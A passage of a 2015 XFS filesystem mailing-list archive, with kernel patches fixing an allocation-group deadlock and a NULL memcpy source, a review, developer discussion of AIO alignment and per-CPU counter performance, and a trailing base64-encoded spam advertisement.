id J3mf0QVQfTWofUFB (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Wed, 07 Oct 2015 08:59:00 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (Postfix) with ESMTPS id E66CDC0BE075; Wed, 7 Oct 2015 15:58:59 +0000 (UTC) Received: from bfoster.bfoster (dhcp-41-179.bos.redhat.com [10.18.41.179]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t97Fwxqo029166; Wed, 7 Oct 2015 11:58:59 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 5E3E9123DCD; Wed, 7 Oct 2015 11:58:58 -0400 (EDT) From: Brian Foster To: xfs@oss.sgi.com Cc: Ross Zwisler Subject: [PATCH] xfs: pass total block res. as total xfs_bmapi_write() parameter Date: Wed, 7 Oct 2015 11:58:58 -0400 X-ASG-Orig-Subj: [PATCH] xfs: pass total block res. as total xfs_bmapi_write() parameter Message-Id: <1444233538-52658-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444233540 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 The total field from struct xfs_alloc_arg is a bit of an unknown commodity. It is documented as the total block requirement for the transaction and is used in this manner from most call sites by virtue of passing the total block reservation of the transaction associated with an allocation. Several xfs_bmapi_write() callers pass hardcoded values of 0 or 1 for the total block requirement, which is a historical oddity without any clear reasoning. The xfs_iomap_write_direct() caller, for example, passes 0 for the total block requirement. This has been determined to cause problems in the form of ABBA deadlocks of AGF buffers due to incorrect AG selection in the block allocator. Specifically, the xfs_alloc_space_available() function incorrectly selects an AG that doesn't actually have sufficient space for the allocation. This occurs because the args.total field is 0 and thus the remaining free space check on the AG doesn't actually consider the size of the allocation request. This locks the AGF buffer, the allocation attempt proceeds and ultimately fails (in xfs_alloc_fix_minleft()), and xfs_alloc_vexent() moves on to the next AG. In turn, this can lead to incorrect AG locking order (if the allocator wraps around, attempting to lock AG 0 after acquiring AG N) and thus deadlock if racing with another operation. This problem has been reproduced via generic/299 on smallish (1GB) ramdisk test devices. To avoid this problem, replace the undocumented hardcoded total parameters from the iomap and utility callers to pass the block reservation used for the associated transaction. This is consistent with other xfs_bmapi_write() callers throughout XFS. The assumption is that the total field allows the selection of an AG that can handle the entire operation rather than simply the allocation/range being requested (e.g., resulting btree splits, etc.). This addresses the aforementioned generic/299 hang by ensuring AG selection only occurs when the allocation can be satisfied by the AG. Reported-by: Ross Zwisler Signed-off-by: Brian Foster --- fs/xfs/xfs_bmap_util.c | 2 +- fs/xfs/xfs_iomap.c | 14 +++++++------- 2 files changed, 8 insertions(+), 8 deletions(-) diff --git a/fs/xfs/xfs_bmap_util.c b/fs/xfs/xfs_bmap_util.c index 3bf4ad0..eca325e 100644 --- a/fs/xfs/xfs_bmap_util.c +++ b/fs/xfs/xfs_bmap_util.c @@ -1027,7 +1027,7 @@ xfs_alloc_file_space( xfs_bmap_init(&free_list, &firstfsb); error = xfs_bmapi_write(tp, ip, startoffset_fsb, allocatesize_fsb, alloc_type, &firstfsb, - 0, imapp, &nimaps, &free_list); + resblks, imapp, &nimaps, &free_list); if (error) { goto error0; } diff --git a/fs/xfs/xfs_iomap.c b/fs/xfs/xfs_iomap.c index 1f86033..3d9fa36 100644 --- a/fs/xfs/xfs_iomap.c +++ b/fs/xfs/xfs_iomap.c @@ -202,8 +202,8 @@ xfs_iomap_write_direct( xfs_bmap_init(&free_list, &firstfsb); nimaps = 1; error = xfs_bmapi_write(tp, ip, offset_fsb, count_fsb, - XFS_BMAPI_PREALLOC, &firstfsb, 0, - imap, &nimaps, &free_list); + XFS_BMAPI_PREALLOC, &firstfsb, resblks, imap, + &nimaps, &free_list); if (error) goto out_bmap_cancel; @@ -750,9 +750,9 @@ xfs_iomap_write_allocate( * pointer that the caller gave to us. */ error = xfs_bmapi_write(tp, ip, map_start_fsb, - count_fsb, 0, - &first_block, 1, - imap, &nimaps, &free_list); + count_fsb, 0, &first_block, + nres, imap, &nimaps, + &free_list); if (error) goto trans_cancel; @@ -866,8 +866,8 @@ xfs_iomap_write_unwritten( xfs_bmap_init(&free_list, &firstfsb); nimaps = 1; error = xfs_bmapi_write(tp, ip, offset_fsb, count_fsb, - XFS_BMAPI_CONVERT, &firstfsb, - 1, &imap, &nimaps, &free_list); + XFS_BMAPI_CONVERT, &firstfsb, resblks, + &imap, &nimaps, &free_list); if (error) goto error_on_bmapi_transaction; -- 2.1.0 From sandeen@redhat.com Wed Oct 7 11:33:49 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B25557F37 for ; Wed, 7 Oct 2015 11:33:49 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 958A3304051 for ; Wed, 7 Oct 2015 09:33:46 -0700 (PDT) X-ASG-Debug-ID: 1444235625-04bdf020dc1ee50001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id KWLgBZYKKLFYgfD4 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Wed, 07 Oct 2015 09:33:45 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (Postfix) with ESMTPS id 26313C0BD898 for ; Wed, 7 Oct 2015 16:33:45 +0000 (UTC) Received: from liberator.sandeen.net (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t97GXhPP029355 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 7 Oct 2015 12:33:44 -0400 To: xfs@oss.sgi.com From: Eric Sandeen Subject: [PATCH] xfs: avoid null *src in memcpy call in xlog_write X-Enigmail-Draft-Status: N1110 X-ASG-Orig-Subj: [PATCH] xfs: avoid null *src in memcpy call in xlog_write Message-ID: <56154967.70100@redhat.com> Date: Wed, 7 Oct 2015 11:33:43 -0500 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:38.0) Gecko/20100101 Thunderbird/38.3.0 MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444235625 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 The gcc undefined behavior sanitizer caught this; surely any sane memcpy implementation will no-op if size == 0, but behavior with a *src of NULL is technically undefined (declared nonnull), so avoid it here. We are actually in this situation frequently via xlog_commit_record(), because: struct xfs_log_iovec reg = { .i_addr = NULL, .i_len = 0, .i_type = XLOG_REG_TYPE_COMMIT, }; Signed-off-by: Eric Sandeen --- diff --git a/fs/xfs/xfs_log.c b/fs/xfs/xfs_log.c index 4012523..8897fd1 100644 --- a/fs/xfs/xfs_log.c +++ b/fs/xfs/xfs_log.c @@ -2424,7 +2424,10 @@ xlog_write( /* copy region */ ASSERT(copy_len >= 0); - memcpy(ptr, reg->i_addr + copy_off, copy_len); + ASSERT(reg->i_addr + copy_off > 0 || copy_len == 0); + /* size == 0 is ok, but *src == NULL is undefined */ + if (reg->i_addr + copy_off) + memcpy(ptr, reg->i_addr + copy_off, copy_len); xlog_write_adv_cnt(&ptr, &len, &log_offset, copy_len); copy_len += start_rec_copy + sizeof(xlog_op_header_t); From billodo@redhat.com Wed Oct 7 11:48:56 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 66B4A7F37 for ; Wed, 7 Oct 2015 11:48:56 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 482398F8066 for ; Wed, 7 Oct 2015 09:48:53 -0700 (PDT) X-ASG-Debug-ID: 1444236531-04bdf020db1f3c0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id WXpRXrmsI0QFV7x0 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Wed, 07 Oct 2015 09:48:52 -0700 (PDT) X-Barracuda-Envelope-From: billodo@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id D398733E5EC for ; Wed, 7 Oct 2015 16:48:51 +0000 (UTC) Received: from redhat.com (unused [10.10.50.76] (may be forged)) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t97GmmG8002481 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO); Wed, 7 Oct 2015 12:48:50 -0400 Date: Wed, 7 Oct 2015 11:48:48 -0500 From: "Bill O'Donnell" To: Eric Sandeen Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfs: avoid null *src in memcpy call in xlog_write Message-ID: <20151007164848.GA22636@redhat.com> X-ASG-Orig-Subj: Re: [PATCH] xfs: avoid null *src in memcpy call in xlog_write References: <56154967.70100@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <56154967.70100@redhat.com> User-Agent: Mutt/1.5.24 (2015-08-30) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444236532 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Looks good to me. Reviewed-by: Bill O'Donnell On Wed, Oct 07, 2015 at 11:33:43AM -0500, Eric Sandeen wrote: > The gcc undefined behavior sanitizer caught this; surely > any sane memcpy implementation will no-op if size == 0, > but behavior with a *src of NULL is technically undefined > (declared nonnull), so avoid it here. > > We are actually in this situation frequently via > xlog_commit_record(), because: > > struct xfs_log_iovec reg = { > .i_addr = NULL, > .i_len = 0, > .i_type = XLOG_REG_TYPE_COMMIT, > }; > > Signed-off-by: Eric Sandeen > --- > > diff --git a/fs/xfs/xfs_log.c b/fs/xfs/xfs_log.c > index 4012523..8897fd1 100644 > --- a/fs/xfs/xfs_log.c > +++ b/fs/xfs/xfs_log.c > @@ -2424,7 +2424,10 @@ xlog_write( > > /* copy region */ > ASSERT(copy_len >= 0); > - memcpy(ptr, reg->i_addr + copy_off, copy_len); > + ASSERT(reg->i_addr + copy_off > 0 || copy_len == 0); > + /* size == 0 is ok, but *src == NULL is undefined */ > + if (reg->i_addr + copy_off) > + memcpy(ptr, reg->i_addr + copy_off, copy_len); > xlog_write_adv_cnt(&ptr, &len, &log_offset, copy_len); > > copy_len += start_rec_copy + sizeof(xlog_op_header_t); > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From avi@cloudius-systems.com Wed Oct 7 13:13:17 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 637AB7F37 for ; Wed, 7 Oct 2015 13:13:17 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 44735304043 for ; Wed, 7 Oct 2015 11:13:14 -0700 (PDT) X-ASG-Debug-ID: 1444241591-04cbb03f121eeb0001-NocioJ Received: from mail-wi0-f178.google.com (mail-wi0-f178.google.com [209.85.212.178]) by cuda.sgi.com with ESMTP id hyFe73zgMHI6YjY9 (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Wed, 07 Oct 2015 11:13:11 -0700 (PDT) X-Barracuda-Envelope-From: avi@cloudius-systems.com X-Barracuda-Apparent-Source-IP: 209.85.212.178 Received: by wicgb1 with SMTP id gb1so223168693wic.1 for ; Wed, 07 Oct 2015 11:13:10 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:subject:to:references:cc:from:message-id:date :user-agent:mime-version:in-reply-to:content-type :content-transfer-encoding; bh=9eZuaxkeQ9dhf8AxWkk8u+NDInLcBceK4fHJ/KDoCTY=; b=NtbWW8bzQWk1IM7fhAcrSkF2JstfK8GFai8Za3SUyyM63PXNVj86EzKuGUavzat89j zWD81by6D+b07gdMVAjO0r0bdvVvQy9uapYTLIVmmtV2VH2UHD5KBFIgcroZVpXexasB LCGZlXVD6wxVzU1CtpxGS+DDgWzwRVrUYN38kLOaJqcVhMjbWZj82E+pnGxqZVR3fzri vzlWZ8v3o4mpiRefg9+QhEHtN3xmp/g/XzKEexNTHtSFm4+nQVsBoBXh7L8X7tXpGxZq UZ2eOJFAa6d7wYsyybGqo+upZEmkIfKPVkZEJ+drBJ4lqcrbzGDwRnFyEECCbOkqVSo/ fRaQ== X-Gm-Message-State: ALoCoQl+mu3rp9zzO0ALQPEgQSnZe7vtudXIMoDD14eF9Cj3E5ms3IALTSX64Nny8OGLLVxoiXE8 X-Received: by 10.194.246.199 with SMTP id xy7mr2710413wjc.61.1444241590697; Wed, 07 Oct 2015 11:13:10 -0700 (PDT) Received: from [10.0.0.5] (bzq-109-64-134-34.red.bezeqint.net. [109.64.134.34]) by smtp.gmail.com with ESMTPSA id bh5sm40803469wjb.42.2015.10.07.11.13.07 (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Wed, 07 Oct 2015 11:13:09 -0700 (PDT) Subject: Re: Question about non asynchronous aio calls. To: Eric Sandeen , Brian Foster X-ASG-Orig-Subj: Re: Question about non asynchronous aio calls. References: <20151007141833.GB11716@scylladb.com> <56152B0F.2040809@sandeen.net> <20151007150833.GB30191@bfoster.bfoster> <56153685.3040401@sandeen.net> Cc: xfs@oss.sgi.com From: Avi Kivity Message-ID: <561560B2.1080902@scylladb.com> Date: Wed, 7 Oct 2015 21:13:06 +0300 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Thunderbird/38.3.0 MIME-Version: 1.0 In-Reply-To: <56153685.3040401@sandeen.net> Content-Type: text/plain; charset=windows-1252; format=flowed Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail-wi0-f178.google.com[209.85.212.178] X-Barracuda-Start-Time: 1444241591 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23280 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 07/10/15 18:13, Eric Sandeen wrote: > > On 10/7/15 10:08 AM, Brian Foster wrote: >> On Wed, Oct 07, 2015 at 09:24:15AM -0500, Eric Sandeen wrote: >>> >>> On 10/7/15 9:18 AM, Gleb Natapov wrote: >>>> Hello XFS developers, >>>> >>>> We are working on scylladb[1] database which is written using seastar[2] >>>> - highly asynchronous C++ framework. The code uses aio heavily: no >>>> synchronous operation is allowed at all by the framework otherwise >>>> performance drops drastically. We noticed that the only mainstream FS >>>> in Linux that takes aio seriously is XFS. So let me start by thanking >>>> you guys for the great work! But unfortunately we also noticed that >>>> sometimes io_submit() is executed synchronously even on XFS. >>>> >>>> Looking at the code I see two cases when this is happening: unaligned >>>> IO and write past EOF. It looks like we hit both. For the first one we >>>> make special afford to never issue unaligned IO and we use XFS_IOC_DIOINFO >>>> to figure out what alignment should be, but it does not help. Looking at the >>>> code though xfs_file_dio_aio_write() checks alignment against m_blockmask which >>>> is set to be sbp->sb_blocksize - 1, so aio expects buffer to be aligned to >>>> filesystem block size not values that DIOINFO returns. Is it intentional? How >>>> should our code know what it should align buffers to? >>> /* "unaligned" here means not aligned to a filesystem block */ >>> if ((pos & mp->m_blockmask) || ((pos + count) & mp->m_blockmask)) >>> unaligned_io = 1; >>> >>> It should be aligned to the filesystem block size. >>> >> I'm not sure exactly what kinds of races are opened if the above locking >> were absent, but I'd guess it's related to the buffer/block state >> management, block zeroing and whatnot that is buried in the depths of >> the generic dio code. > Yep: > > commit eda77982729b7170bdc9e8855f0682edf322d277 > Author: Dave Chinner > Date: Tue Jan 11 10:22:40 2011 +1100 > > xfs: serialise unaligned direct IOs > > When two concurrent unaligned, non-overlapping direct IOs are issued > to the same block, the direct Io layer will race to zero the block. > The result is that one of the concurrent IOs will overwrite data > written by the other IO with zeros. This is demonstrated by the > xfsqa test 240. > > To avoid this problem, serialise all unaligned direct IOs to an > inode with a big hammer. We need a big hammer approach as we need to > serialise AIO as well, so we can't just block writes on locks. > Hence, the big hammer is calling xfs_ioend_wait() while holding out > other unaligned direct IOs from starting. > > We don't bother trying to serialised aligned vs unaligned IOs as > they are overlapping IO and the result of concurrent overlapping IOs > is undefined - the result of either IO is a valid result so we let > them race. Hence we only penalise unaligned IO, which already has a > major overhead compared to aligned IO so this isn't a major problem. > > Signed-off-by: Dave Chinner > Reviewed-by: Alex Elder > Reviewed-by: Christoph Hellwig > > I fixed something similar in ext4 at the time, FWIW. Makes sense. Is there a way to relax this for reads? It's pretty easy to saturate the disk read bandwidth with 4K reads, and there shouldn't be a race there, at least for reads targeting already-written blocks. For us at least small reads would be sufficient. From waiman.long@hpe.com Wed Oct 7 15:01:05 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 33F737F37 for ; Wed, 7 Oct 2015 15:01:05 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 22FFB30408E for ; Wed, 7 Oct 2015 13:00:59 -0700 (PDT) X-ASG-Debug-ID: 1444248046-04cbb03f14212e0001-NocioJ Received: from g1t6213.austin.hp.com (g1t6213.austin.hp.com [15.73.96.121]) by cuda.sgi.com with ESMTP id f7r5X1OhSv7T8Hl6 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Wed, 07 Oct 2015 13:00:46 -0700 (PDT) X-Barracuda-Envelope-From: waiman.long@hpe.com X-Barracuda-Apparent-Source-IP: 15.73.96.121 Received: from g1t6217.austin.hpicorp.net (g1t6217.austin.hpicorp.net [15.67.1.144]) by g1t6213.austin.hp.com (Postfix) with ESMTP id C5849137; Wed, 7 Oct 2015 20:00:45 +0000 (UTC) Received: from [192.168.142.200] (unknown [16.214.234.252]) by g1t6217.austin.hpicorp.net (Postfix) with ESMTP id 8BF876F; Wed, 7 Oct 2015 20:00:43 +0000 (UTC) Message-ID: <561579EA.60507@hpe.com> Date: Wed, 07 Oct 2015 16:00:42 -0400 From: Waiman Long User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:10.0.12) Gecko/20130109 Thunderbird/10.0.12 MIME-Version: 1.0 To: Dave Chinner CC: Tejun Heo , Christoph Lameter , linux-kernel@vger.kernel.org, xfs@oss.sgi.com, Scott J Norton , Douglas Hatch Subject: Re: [PATCH] percpu_counter: return precise count from __percpu_counter_compare() References: <1443806997-30792-1-git-send-email-Waiman.Long@hpe.com> <20151002221649.GL27164@dastard> <5613017D.7080909@hpe.com> <20151006002538.GO27164@dastard> <561405E1.8020008@hpe.com> <20151006213023.GP27164@dastard> X-ASG-Orig-Subj: Re: [PATCH] percpu_counter: return precise count from __percpu_counter_compare() In-Reply-To: <20151006213023.GP27164@dastard> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Barracuda-Connect: g1t6213.austin.hp.com[15.73.96.121] X-Barracuda-Start-Time: 1444248046 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23284 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 10/06/2015 05:30 PM, Dave Chinner wrote: > On Tue, Oct 06, 2015 at 01:33:21PM -0400, Waiman Long wrote: > Yes, it may be, but that does not mean we should optimise for it. > If you are doing filesystem scalability testing on small filesystems > near capacity, then your testing methodology is needs fixing. Not > the code. > >>>>> XFS trades off low overhead for fast path allocation with slowdowns >>>>> as we near ENOSPC in allocation routines. It gets harder to find >>>>> contiguous free space, files get more fragmented, IO takes longer >>>>> because we seek more, etc. Hence we accept that performance slows >>>>> down as as the need for precision increases as we near ENOSPC. >>>>> >>>>> I'd suggest you retry your benchmark with larger filesystems, and >>>>> see what happens... >>>> I don't think I am going to see the slowdown that I observed on >>>> larger filesystems with more free space. >>> So there is no problem that needs fixing.... ;) >> Well, I am still worrying that corner cases when the slowpath is >> triggered. I would like to make it perform better in those cases. > It's a pretty damn small slowdown in your somewhat extreme, > artificial test. Show me a real world production system that runs > small fileystems permanently at>99% filesystem capacity, and them > maybe vwe've got something that needs changing. > >>>> gauge how far it is from ENOSPC. So we don't really need to get >>>> the precise count as long as number of CPUs are taken into >>>> consideration in the comparison. >>> I think you are looking in the wrong place. There is nothing >>> wrong with XFS doing two compares here. If we are hitting the >>> __percpu_counter_compare() slow path too much, then we should be >>> understanding exactly why that slow path is being hit so hard so >>> often. I don't see any analysis of the actual per-cpu counter >>> behaviour and why the slow path is being taken so often.... >> I am thinking of making the following changes: > No. Please test the change to the per-cpu counters that I suggested: > >>> /* >>> * Aggregate the per-cpu counter magazines back into the global >>> * counter. This avoids the need for repeated compare operations to >>> * run the slow path when the majority of the counter value is held >>> * in the per-cpu magazines. Folding them back into the global >>> * counter means we will continue to hit the fast >>> * percpu_counter_read() path until the counter value falls >>> * completely within the comparison limit passed to >>> * __percpu_counter_compare(). >>> */ >>> static s64 percpu_counter_aggregate(struct percpu_counter *fbc) >>> { >>> s64 ret; >>> int cpu; >>> unsigned long flags; >>> >>> raw_spin_lock_irqsave(&fbc->lock, flags); >>> ret = fbc->count; >>> for_each_online_cpu(cpu) { >>> s32 count = __this_cpu_read(*fbc->counters); >>> ret += count; >>> __this_cpu_sub(*fbc->counters, count) >>> } >>> fbc->count = ret; >>> raw_spin_unlock_irqrestore(&fbc->lock, flags); >>> return ret; >>> } >> I don't think that will work as some other CPUs may change the >> percpu counters values between percpu_counter_aggregate() and >> __percpu_counter_compare(). To be safe, the precise counter has to >> be compted whenever the comparison value difference is less than >> nr_cpus * batch size. > Well, yes. Why do you think the above function does the same > function as percpu_counter_sum()? So that the percpu_counter_sum() > call *inside* __percpu_counter_compare() can be replaced by this > call. i.e. > > return -1; > } > /* Need to use precise count */ > - count = percpu_counter_sum(fbc); > + count = percpu_counter_aggregate(fbc); > if (count> rhs) > return 1; > else if (count< rhs) > > Please think about what I'm saying rather than dismissing it without > first understanding my suggestions. I understood what you were saying. However, the per-cpu counter isn't protected by the spinlock. Reading it is OK, but writing may cause race if that counter is modified by a CPU other than its owning CPU. The slow performance of percpu_counter_sum() is due to its need to access n different (likely cold) cachelines where n is the number of CPUs in the system. So the larger the system, the more problematic it will be. My main concern about xfs_mod_fdblocks() is that it can potentially call percpu_counter_sum() twice which is what I want to prevent. It is OK if you don't think that change is necessary. However, I will come back if I find more evidence that this can be an issue. Cheers, Longman From ojel@gbzo.com Wed Oct 7 15:59:13 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.2 required=5.0 tests=FREEMAIL_FROM,HTML_MESSAGE, MIME_HTML_ONLY autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id CAA6A7F37 for ; Wed, 7 Oct 2015 15:59:13 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id A970D304032 for ; Wed, 7 Oct 2015 13:59:13 -0700 (PDT) X-ASG-Debug-ID: 1444251548-04cbb03f13227a0001-NocioJ Received: from gbzo.com ([114.97.97.176]) by cuda.sgi.com with ESMTP id R1dQWC8CGBoj1DPv for ; Wed, 07 Oct 2015 13:59:09 -0700 (PDT) X-Barracuda-Envelope-From: ojel@gbzo.com X-Barracuda-Apparent-Source-IP: 114.97.97.176 Received: from SKY-20150201SFT ([127.0.0.1]) by localhost via TCP with ESMTPA; Thu, 08 Oct 2015 04:58:54 +0800 MIME-Version: 1.0 From: Amos Sender: Amos To: xfs@oss.sgi.com Reply-To: Amos Date: 8 Oct 2015 04:58:54 +0800 Subject: =?utf-8?B?bWV0YWwgZmFicmljYXRpb24gc29sdXRpb25z?= Content-Type: text/html; charset=utf-8 X-ASG-Orig-Subj: =?utf-8?B?bWV0YWwgZmFicmljYXRpb24gc29sdXRpb25z?= Content-Transfer-Encoding: base64 X-Barracuda-Connect: UNKNOWN[114.97.97.176] X-Barracuda-Start-Time: 1444251548 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.74 X-Barracuda-Spam-Status: No, SCORE=0.74 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, HTML_MESSAGE, MIME_HTML_ONLY, MISSING_MID, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23285 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.14 MISSING_MID Missing Message-Id: header 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.00 HTML_MESSAGE BODY: HTML included in message 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 Message-Id: <20151007205913.687E3106C0A5@cuda.sgi.com> PGh0bWw+PGJvZHk+PFA+aGVsbG8sPEJSPiZuYnNwOzxCUj5XZSBhcmUmbmJzcDsgc3BlY2lh bGl6aW5nIGluIHRoZSBwcm9kdWN0aW9uIGFuZCB0aGUgZXhwb3J0YXRpb24gb2YgSGFyZHdh cmUgZml0dGluZyBpbmNsdWRpbmcgQ05DIHR1cm5pbmcgYW5kIG1pbGxpbmcgcHJvZHVjdHMs IHN0YW1waW5nIHBhcnRzLCBmYXN0ZW5lcnMsIHppbmMgYW5kIGFsdW1pbnVtIGRpZSBjYXN0 aW5nLCBwdW5jaGVkIHBhcnRzIGVjdC4gPC9QPg0KPFA+SW4gZmFjdCwgSnVzdCBvbmx5IHlv 